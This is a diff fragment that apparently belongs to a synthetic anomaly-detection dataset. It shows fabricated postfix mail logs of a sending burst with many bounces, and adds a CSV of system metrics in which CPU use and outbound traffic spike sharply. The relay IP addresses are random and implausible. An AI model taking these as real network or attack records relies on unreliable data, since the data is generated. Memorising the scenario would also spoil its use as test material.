+Aug 07 04:16:15 server postfix/smtp[17552]: 654C27FB7C: to=, from=, relay=user-mail.info[237.190.144.32]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:16:15 server postfix/smtp[17555]: F89F126402: to=, from=, relay=mailservice.net[152.35.199.165]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:16:18 server postfix/smtp[17553]: 07B3724E4D: to=, from=, relay=aspmx.l.google.com[107.69.52.15]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:16:19 server postfix/smtp[17554]: 23CE468518: to=, from=, relay=user-mail.info[90.164.116.180]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:16:22 server postfix/smtp[17557]: 62F97D280B: to=, from=, relay=aspmx.l.google.com[129.7.206.46]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:16:24 server postfix/smtp[17556]: F88B1AF437: to=, from=, relay=aspmx.l.google.com[135.234.15.98]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:16:25 server postfix/smtp[17558]: 82AEDEEFFF: to=, from=, relay=business.biz[227.199.150.46]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:16:25 server postfix/smtp[17559]: 2503CF4678: to=, from=, relay=aspmx.l.google.com[109.248.164.20]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:16:25 server postfix/smtp[17561]: A105B39ADB: to=, from=, relay=aspmx.l.google.com[138.218.61.127]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:16:26 server postfix/smtp[17560]: B33CF90FF9: to=, from=, relay=aspmx.l.google.com[7.100.165.150]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:16:30 server postfix/smtp[17564]: BF273268A4: to=, from=, relay=aspmx.l.google.com[113.46.166.123]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:16:31 server postfix/smtp[17562]: 0987B0EC86: to=, from=, relay=aspmx.l.google.com[154.58.239.122]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:16:31 server postfix/smtp[17565]: C9687D7645: to=, from=, relay=aspmx.l.google.com[193.32.243.82]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:16:33 server postfix/smtp[17563]: C4F7F27C05: to=, from=, relay=business.biz[105.125.70.35]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:16:37 server postfix/smtp[17566]: 208C4EA45D: to=, from=, relay=aspmx.l.google.com[202.40.202.157]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:16:38 server postfix/smtp[17567]: D152CDF1D1: to=, from=, relay=aspmx.l.google.com[57.101.56.206]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:16:40 server postfix/smtp[17570]: 610570FC1E: to=, from=, relay=aspmx.l.google.com[80.191.5.195]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:16:41 server postfix/smtp[17569]: D8EFB7DD36: to=, from=, relay=business.biz[169.110.2.24]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:16:42 server postfix/smtp[17568]: 5D4F4BD86C: to=, from=, relay=aspmx.l.google.com[252.121.35.108]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:16:45 server postfix/smtp[17573]: 4BB00C88D4: to=, from=, relay=example.com[84.186.169.155]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:16:46 server postfix/smtp[17572]: 4F967CE847: to=, from=, relay=aspmx.l.google.com[114.111.243.34]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:16:47 server postfix/smtp[17575]: CA401A07DE: to=, from=, relay=business.biz[227.112.234.227]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:16:49 server postfix/smtp[17571]: 92BA638718: to=, from=, relay=aspmx.l.google.com[18.198.102.187]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:16:49 server postfix/smtp[17574]: 54875DF71F: to=, from=, relay=aspmx.l.google.com[160.115.254.95]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:16:51 server postfix/smtp[17578]: 32B95DA58B: to=, from=, relay=aspmx.l.google.com[241.39.198.68]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:16:52 server postfix/smtp[17579]: 6411533DE0: to=, from=, relay=example.com[175.84.79.135]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:16:53 server postfix/smtp[17576]: CCB9961EDB: to=, from=, relay=aspmx.l.google.com[144.132.157.104]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:16:54 server postfix/smtp[17577]: 6932DACA44: to=, from=, relay=example.com[209.36.33.115]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:16:55 server postfix/smtp[17580]: A753314A44: to=, from=, relay=aspmx.l.google.com[73.36.95.96]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:16:55 server postfix/smtp[17582]: 3973609524: to=, from=, relay=mailservice.net[164.216.125.64]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:16:58 server postfix/smtp[17581]: 56E1A8E4AB: to=, from=, relay=user-mail.info[254.150.43.29]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:16:59 server postfix/smtp[17583]: 92D169026C: to=, from=, relay=mailservice.net[158.115.247.149]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:17:00 server postfix/smtp[17585]: 841B7DBF5F: to=, from=, relay=business.biz[198.93.6.67]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:17:00 server postfix/smtp[17586]: EB2D67985B: to=, from=, relay=aspmx.l.google.com[25.90.78.236]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:00 server postfix/smtp[17587]: 07D536B11B: to=, from=, relay=aspmx.l.google.com[157.188.232.118]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:01 server postfix/smtp[17588]: 20BF612DD4: to=, from=, relay=aspmx.l.google.com[171.212.63.53]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:02 server postfix/smtp[17584]: F352F1FADA: to=, from=, relay=aspmx.l.google.com[6.249.217.91]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:05 server postfix/smtp[17590]: 1589B4719C: to=, from=, relay=aspmx.l.google.com[44.181.55.237]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:06 server postfix/smtp[17589]: 41B6A3C0E8: to=, from=, relay=aspmx.l.google.com[245.203.149.40]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:06 server postfix/smtp[17591]: D6F53F43F8: to=, from=, relay=aspmx.l.google.com[82.177.148.140]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:06 server postfix/smtp[17592]: 0F3C56A0BB: to=, from=, relay=mailservice.net[165.168.149.180]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:17:07 server postfix/smtp[17593]: 234CD77638: to=, from=, relay=user-mail.info[25.180.69.150]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:17:11 server postfix/smtp[17596]: 401F40E9B7: to=, from=, relay=aspmx.l.google.com[99.150.195.233]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:12 server postfix/smtp[17594]: 0256FB9A8A: to=, from=, relay=aspmx.l.google.com[47.44.133.53]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:13 server postfix/smtp[17595]: 2F73581A94: to=, from=, relay=aspmx.l.google.com[214.109.144.22]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:16 server postfix/smtp[17597]: AD64D89358: to=, from=, relay=aspmx.l.google.com[156.91.79.141]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:16 server postfix/smtp[17598]: DFB38272F5: to=, from=, relay=aspmx.l.google.com[150.250.8.152]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:17 server postfix/smtp[17600]: 76BBC4A6AF: to=, from=, relay=aspmx.l.google.com[56.183.63.104]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:19 server postfix/smtp[17599]: A5840500AF: to=, from=, relay=aspmx.l.google.com[225.3.148.66]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:22 server postfix/smtp[17603]: 28AAE79C95: to=, from=, relay=web-host.org[190.5.116.222]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:17:24 server postfix/smtp[17601]: BA31CEA8CF: to=, from=, relay=aspmx.l.google.com[133.146.161.117]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:24 server postfix/smtp[17602]: 4ECF2102BF: to=, from=, relay=aspmx.l.google.com[12.190.204.153]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:25 server postfix/smtp[17605]: EC62E73342: to=, from=, relay=example.com[203.168.16.243]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:17:25 server postfix/smtp[17606]: FB79AE987E: to=, from=, relay=aspmx.l.google.com[101.132.46.73]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:27 server postfix/smtp[17604]: 545E59A0E4: to=, from=, relay=aspmx.l.google.com[179.110.160.128]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:31 server postfix/smtp[17607]: 4C20D07755: to=, from=, relay=aspmx.l.google.com[165.34.250.254]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:32 server postfix/smtp[17608]: 960F17086E: to=, from=, relay=business.biz[73.146.50.37]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:17:37 server postfix/smtp[17613]: 61CF117EB9: to=, from=, relay=aspmx.l.google.com[170.25.118.94]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:38 server postfix/smtp[17611]: C2D3301496: to=, from=, relay=example.com[221.107.28.111]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:17:39 server postfix/smtp[17609]: E14F35728E: to=, from=, relay=aspmx.l.google.com[244.225.92.156]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:39 server postfix/smtp[17610]: D0CFC179EF: to=, from=, relay=business.biz[201.133.35.158]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:17:39 server postfix/smtp[17612]: BAAD987E9B: to=, from=, relay=aspmx.l.google.com[93.203.242.172]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:43 server postfix/smtp[17615]: FCD1B1BACF: to=, from=, relay=business.biz[223.114.75.192]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:17:44 server postfix/smtp[17614]: A77AF29A9E: to=, from=, relay=aspmx.l.google.com[97.14.48.208]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:45 server postfix/smtp[17619]: 44EBEB04E2: to=, from=, relay=web-host.org[147.65.115.77]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:17:46 server postfix/smtp[17616]: 4C12CC03AD: to=, from=, relay=example.com[165.46.163.46]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:17:47 server postfix/smtp[17617]: EDCF4249B1: to=, from=, relay=aspmx.l.google.com[12.184.55.223]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:48 server postfix/smtp[17620]: 2E0FB6ED71: to=, from=, relay=aspmx.l.google.com[54.87.28.135]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:49 server postfix/smtp[17618]: E9AB72F58D: to=, from=, relay=aspmx.l.google.com[83.120.231.50]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:50 server postfix/smtp[17624]: 8CE62C9E5C: to=, from=, relay=aspmx.l.google.com[240.235.30.152]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:51 server postfix/smtp[17622]: 4945B216F9: to=, from=, relay=aspmx.l.google.com[102.113.63.181]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:53 server postfix/smtp[17621]: 6DFBBD1153: to=, from=, relay=aspmx.l.google.com[118.111.204.178]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:54 server postfix/smtp[17623]: 2D937E1D05: to=, from=, relay=aspmx.l.google.com[192.168.122.231]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:55 server postfix/smtp[17628]: C9FFFCD455: to=, from=, relay=web-host.org[85.157.90.20]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:17:57 server postfix/smtp[17625]: E29A34A6EA: to=, from=, relay=aspmx.l.google.com[148.127.13.155]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:57 server postfix/smtp[17626]: 91D4E6AF8D: to=, from=, relay=aspmx.l.google.com[127.142.179.133]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:58 server postfix/smtp[17627]: D8241E9F71: to=, from=, relay=user-mail.info[12.120.243.185]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:17:59 server postfix/smtp[17629]: BAFE3740F9: to=, from=, relay=aspmx.l.google.com[248.251.247.61]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:00 server postfix/smtp[17632]: 5C4676B99A: to=, from=, relay=user-mail.info[6.90.47.92]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:18:03 server postfix/smtp[17631]: D080A79C08: to=, from=, relay=web-host.org[13.104.240.44]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:18:04 server postfix/smtp[17630]: D6CA19F0EB: to=, from=, relay=aspmx.l.google.com[12.195.45.232]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:04 server postfix/smtp[17633]: BC68A7F3C3: to=, from=, relay=mailservice.net[215.156.14.60]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:18:06 server postfix/smtp[17634]: EB720E143B: to=, from=, relay=aspmx.l.google.com[223.247.13.148]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:06 server postfix/smtp[17635]: AA59481BF4: to=, from=, relay=aspmx.l.google.com[190.190.245.97]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:13 server postfix/smtp[17637]: 880D277B2E: to=, from=, relay=aspmx.l.google.com[102.73.240.24]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:13 server postfix/smtp[17638]: D9D8D7E98F: to=, from=, relay=example.com[72.79.37.201]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:18:14 server postfix/smtp[17636]: 7DF522DE6D: to=, from=, relay=aspmx.l.google.com[96.82.2.215]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:16 server postfix/smtp[17640]: 041D28882E: to=, from=, relay=mailservice.net[248.174.49.239]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:18:17 server postfix/smtp[17639]: 84BFC46ACE: to=, from=, relay=aspmx.l.google.com[229.33.45.28]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:20 server postfix/smtp[17642]: 63AECE4901: to=, from=, relay=aspmx.l.google.com[201.198.246.68]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:21 server postfix/smtp[17643]: 0E6BCA9BF7: to=, from=, relay=aspmx.l.google.com[45.186.35.156]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:21 server postfix/smtp[17644]: F879BF1DC0: to=, from=, relay=business.biz[48.197.114.242]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:18:22 server postfix/smtp[17641]: 6255E1DDFD: to=, from=, relay=business.biz[61.107.191.207]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:18:22 server postfix/smtp[17645]: D78D9DF3E1: to=, from=, relay=example.com[64.162.128.221]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:18:25 server postfix/smtp[17646]: F70913AA0D: to=, from=, relay=mailservice.net[106.171.225.39]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:18:28 server postfix/smtp[17647]: A9D3C56169: to=, from=, relay=aspmx.l.google.com[135.11.52.221]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:30 server postfix/smtp[17648]: C61C76E970: to=, from=, relay=aspmx.l.google.com[75.241.106.199]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:32 server postfix/smtp[17650]: B0C13BF275: to=, from=, relay=aspmx.l.google.com[227.86.99.143]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:33 server postfix/smtp[17651]: 74EE7B9B41: to=, from=, relay=example.com[171.234.189.155]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:18:33 server postfix/smtp[17652]: E6C33453DE: to=, from=, relay=aspmx.l.google.com[242.52.82.237]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:34 server postfix/smtp[17649]: 3431577A50: to=, from=, relay=aspmx.l.google.com[65.232.115.142]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:35 server postfix/smtp[17654]: 9CBED04CCA: to=, from=, relay=aspmx.l.google.com[6.241.56.58]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:36 server postfix/smtp[17653]: 2F18FFCB6A: to=, from=, relay=aspmx.l.google.com[194.250.216.231]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:40 server postfix/smtp[17656]: 4F183414FB: to=, from=, relay=user-mail.info[224.196.239.216]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:18:42 server postfix/smtp[17655]: 0F9F2BB6B4: to=, from=, relay=mailservice.net[165.20.248.31]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:18:44 server postfix/smtp[17657]: 315EEE8E72: to=, from=, relay=aspmx.l.google.com[248.235.89.226]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:45 server postfix/smtp[17658]: FF1C01A4FD: to=, from=, relay=aspmx.l.google.com[18.207.111.160]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:45 server postfix/smtp[17659]: 7F9A430707: to=, from=, relay=aspmx.l.google.com[247.42.228.89]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:46 server postfix/smtp[17660]: E1AC8E56F8: to=, from=, relay=aspmx.l.google.com[162.148.199.142]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:50 server postfix/smtp[17662]: A2D5F2019D: to=, from=, relay=example.com[36.111.119.222]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:18:53 server postfix/smtp[17661]: FF7482E3E9: to=, from=, relay=aspmx.l.google.com[18.8.106.107]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:55 server postfix/smtp[17666]: B74507FF74: to=, from=, relay=aspmx.l.google.com[146.152.81.162]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:57 server postfix/smtp[17665]: 1A4B14D01F: to=, from=, relay=aspmx.l.google.com[70.113.236.232]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:58 server postfix/smtp[17663]: 4BB48EF165: to=, from=, relay=aspmx.l.google.com[66.248.206.81]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:59 server postfix/smtp[17664]: 920031AE9B: to=, from=, relay=aspmx.l.google.com[40.136.72.120]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:59 server postfix/smtp[17667]: 24F6AF92BD: to=, from=, relay=aspmx.l.google.com[251.100.6.107]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:02 server postfix/smtp[17669]: E7E69EF87D: to=, from=, relay=user-mail.info[243.203.177.66]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:19:03 server postfix/smtp[17670]: 004786E7E2: to=, from=, relay=business.biz[103.45.156.4]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:19:04 server postfix/smtp[17668]: 6828963994: to=, from=, relay=aspmx.l.google.com[39.9.29.168]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:05 server postfix/smtp[17673]: 29F3FFC15A: to=, from=, relay=aspmx.l.google.com[60.224.22.218]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:06 server postfix/smtp[17671]: 8EB8C564A6: to=, from=, relay=aspmx.l.google.com[136.147.38.176]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:07 server postfix/smtp[17672]: DBDBA6A6D6: to=, from=, relay=aspmx.l.google.com[243.161.92.120]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:12 server postfix/smtp[17674]: 9DCF96349B: to=, from=, relay=aspmx.l.google.com[250.31.74.60]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:12 server postfix/smtp[17676]: E7A4B9BB21: to=, from=, relay=web-host.org[2.184.228.139]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:19:13 server postfix/smtp[17675]: 84C02C68AD: to=, from=, relay=aspmx.l.google.com[136.113.210.24]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:16 server postfix/smtp[17678]: EA7A2E1551: to=, from=, relay=aspmx.l.google.com[27.243.17.41]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:17 server postfix/smtp[17677]: 3D6AF2016F: to=, from=, relay=aspmx.l.google.com[192.47.246.156]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:19 server postfix/smtp[17679]: 194B16B9E2: to=, from=, relay=aspmx.l.google.com[137.174.235.200]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:20 server postfix/smtp[17680]: 0ADA9F7BA0: to=, from=, relay=web-host.org[93.180.130.126]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:19:21 server postfix/smtp[17682]: CAAF040E7C: to=, from=, relay=example.com[32.171.234.81]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:19:22 server postfix/smtp[17683]: 54B2D7B753: to=, from=, relay=business.biz[84.20.157.196]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:19:23 server postfix/smtp[17681]: 5A8FC24426: to=, from=, relay=web-host.org[90.86.87.184]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:19:23 server postfix/smtp[17684]: 20C5ADD1B2: to=, from=, relay=aspmx.l.google.com[50.48.192.180]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:26 server postfix/smtp[17686]: ED502A6B3D: to=, from=, relay=aspmx.l.google.com[172.7.160.18]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:27 server postfix/smtp[17687]: 61D5B39AC6: to=, from=, relay=aspmx.l.google.com[71.34.181.250]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:28 server postfix/smtp[17685]: 26E6EB37F4: to=, from=, relay=aspmx.l.google.com[205.118.244.103]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) diff --git a/mali_dataset/scenario_5/mali_5_4.csv b/mali_dataset/scenario_5/mali_5_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..95460dc3e8ef1929f3457ed6d9404a4f7bd14543 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-08T15:19:00Z,13.25,42.47,24.47,1.42,1.62 +2025-08-08T15:19:05Z,10.48,40.14,21.93,1.41,1.44 +2025-08-08T15:19:10Z,18.78,40.2,19.12,1.49,1.65 +2025-08-08T15:19:15Z,12.78,37.43,21.35,0.66,1.73 +2025-08-08T15:19:20Z,19.1,37.34,17.92,0.93,0.98 +2025-08-08T15:19:25Z,12.12,42.25,20.44,1.37,2.33 +2025-08-08T15:19:30Z,19.88,38.14,16.86,0.74,2.34 +2025-08-08T15:19:35Z,18.06,36.78,15.88,1.25,1.88 +2025-08-08T15:19:40Z,18.57,37.48,22.12,0.5,1.83 +2025-08-08T15:19:45Z,14.03,38.81,23.61,0.78,1.54 +2025-08-08T15:19:50Z,13.53,36.47,20.57,1.16,2.28 +2025-08-08T15:19:55Z,10.45,40.14,15.59,0.52,1.88 +2025-08-08T15:20:00Z,17.0,35.62,17.04,1.32,2.17 +2025-08-08T15:20:05Z,14.07,39.27,24.32,1.1,1.85 +2025-08-08T15:20:10Z,17.95,41.73,18.61,0.66,1.22 +2025-08-08T15:20:15Z,15.72,35.55,24.06,1.26,1.25 +2025-08-08T15:20:20Z,13.54,41.31,16.63,0.56,2.27 +2025-08-08T15:20:25Z,10.02,43.83,23.26,0.9,2.13 +2025-08-08T15:20:30Z,10.18,36.2,16.78,1.0,1.35 +2025-08-08T15:20:35Z,12.12,43.6,19.36,1.01,2.28 +2025-08-08T15:20:40Z,50.8,44.61,26.03,0.56,21.87 +2025-08-08T15:20:45Z,60.84,45.69,21.56,1.61,24.28 +2025-08-08T15:20:50Z,36.73,48.8,25.14,1.48,22.38 +2025-08-08T15:20:55Z,57.59,45.5,21.91,1.07,36.95 +2025-08-08T15:21:00Z,49.06,45.05,23.77,0.76,41.16 +2025-08-08T15:21:05Z,65.59,47.03,25.85,0.65,40.22 +2025-08-08T15:21:10Z,72.3,40.9,20.05,1.78,30.91 +2025-08-08T15:21:15Z,50.29,45.94,26.17,1.15,36.75 +2025-08-08T15:21:20Z,55.68,48.7,29.31,1.55,29.51 +2025-08-08T15:21:25Z,61.38,45.09,20.98,0.73,22.52 +2025-08-08T15:21:30Z,72.71,44.31,19.76,0.58,27.39 +2025-08-08T15:21:35Z,67.0,42.62,29.0,1.29,20.75 +2025-08-08T15:21:40Z,32.17,42.22,20.76,0.51,31.7 +2025-08-08T15:21:45Z,49.41,43.71,25.42,0.82,45.67 